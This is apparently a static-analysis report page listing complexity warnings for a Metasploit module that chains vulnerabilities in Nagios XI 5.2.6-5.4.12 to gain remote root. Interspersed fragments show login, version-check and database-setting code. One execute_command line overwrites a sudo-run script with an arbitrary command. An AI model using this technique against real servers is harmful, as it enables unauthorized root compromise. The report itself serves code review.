modules/exploits/linux/http/nagios_xi_chained_rce_2_electric_boogaloo.rb
File nagios_xi_chained_rce_2_electric_boogaloo.rb
has 303 lines of code (exceeds 250 allowed). Consider refactoring. Open
Open
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
Method initialize
has 51 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios XI Chained Remote Code Execution',
'Description' => %q{
This module exploits a few different vulnerabilities in Nagios XI 5.2.6-5.4.12 to gain remote root access.
Method login
has 36 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def login(username, password)
vprint_status "STEP 4.1: Authenticate as user #{username} with password #{password}"
#4.1 Get nsp for login
vprint_status 'STEP 4.1: Get NSP and nagiosxi for login..'
res = send_request_cgi({
Method execute_command
has 35 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def execute_command(cmd, opts = {})
backup_file = rand_text_alpha(rand(5) + 10)
cmd_execution = "$(cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/#{backup_file} ; echo \"#{cmd}\" > /usr/local/nagiosxi/scripts/reset_config_perms.sh ; sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh) &"
Method set_db_user
has 28 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def set_db_user(usr, passwd)
step = usr == 'root' ? '1' : '6.1'
vprint_status "STEP #{step}: Setting Nagios XI DB user to #{usr}."
res = send_request_cgi({
'uri' => '/nagiosql/admin/settings.php',
Method check
has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring. Open
Open
def check
vprint_status "STEP 0: Get Nagios XI version string."
res = send_request_cgi!({
'method' => 'GET',
'uri' => '/nagiosxi/'
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"